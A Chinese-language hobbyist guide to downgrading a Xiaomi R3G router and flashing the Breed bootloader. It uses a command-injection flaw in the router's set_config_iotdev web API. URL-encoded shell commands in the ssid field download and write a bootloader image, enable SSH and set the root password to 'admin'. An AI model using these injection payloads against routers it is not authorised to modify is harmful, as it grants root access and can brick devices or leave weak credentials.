1.下载降级固件

Github直链
小渔网盘

2.获取stok

• 注意：以下操作均需要联网！

  3.执行命令

  3.1 浏览器执行

  http://192.168.31.1/cgi-bin/luci/;stok=1cd979fb2ffb2b15787efb45abd411a2/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0A%5B%20-z%20%22%24(dmesg%20%7C%20grep%20ESMT)%22%20%5D%20%26%26%20B%3D%22Toshiba%22%20%7C%7C%20B%3D%22ESMT%22%0Auci%20set%20wireless.%24(uci%20show%20wireless%20%7C%20awk%20-F%20'.'%20'%2Fwl1%2F%20%7Bprint%20%242%7D').ssid%3D%22%24B%20%24(dmesg%20%7C%20awk%20'%2FBad%2F%20%7Bprint%20%245%7D')%22%0A%2Fetc%2Finit.d%2Fnetwork%20restart%0A
  # 注意：1cd979fb2ffb2b15787efb45abd411a2 换成你自己的

  

  3.3 补充说明

  刷入breed的代码原本是：

  http://192.168.31.1/cgi-bin/luci/;stok=CCCCCCCCCCC/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=
  cd /tmp
  curl -o B -O https://breed.hackpascal.net/breed-mt7621-xiaomi-r3g.bin -k -g
  [ -z "$(sha256sum B | grep 242d42eb5f5aaa67ddc9c1baf1acdf58d289e3f792adfdd77b589b9dc71eff85)" ] || mtd -r write B Bootloader

  所以你也可以自己在本地用python搭建一个

  python -m http.server 8080

  
  访问本机IP:8080
  
  然后去https://breed.hackpascal.net/breed-mt7621-xiaomi-r3g.bin下载到本地

  #执行sha256校验
  sha256sum breed-mt7621-xiaomi-r3g.bin

  得到05ebb31fd889b148022346179346d91c60a1b4518bdc4d8b9717a62aec638bed

4.开启ssh

http://192.168.31.1/cgi-bin/luci/;stok=fa99537befb934976256832230510d62/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B

5.超管设为admin

http://192.168.31.1/cgi-bin/luci/;stok=fa99537befb934976256832230510d62/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B

6.手动刷入breed

cd /tmp
wget http://192.168.31.55:8080/breed-mt7621-xiaomi-r3g.bin
mtd -r write breed-mt7621-xiaomi-r3g.bin Bootloader

7.信息

root@XiaoQiang:/tmp# wget http://192.168.31.55:8080/breed-mt7621-xiaomi-r3g.bin
Connecting to 192.168.31.55:8080 (192.168.31.55:8080)
breed-mt7621-xiaomi- 100% |*****************************************************
root@XiaoQiang:/tmp# sha256sum breed-mt7621-xiaomi-r3g.bin
05ebb31fd889b148022346179346d91c60a1b4518bdc4d8b9717a62aec638bed  breed-mt7621-x
root@XiaoQiang:/tmp# mtd -r write breed-mt7621-xiaomi-r3g.bin Bootloader
Unlocking Bootloader ...

Writing from breed-mt7621-xiaomi-r3g.bin to Bootloader ...
Rebooting ...
Connection to 192.168.31.1 closed by remote host.
Connection to 192.168.31.1 closed.

刷入后路由器会自动重启,然后断电按住重置按钮，进入breed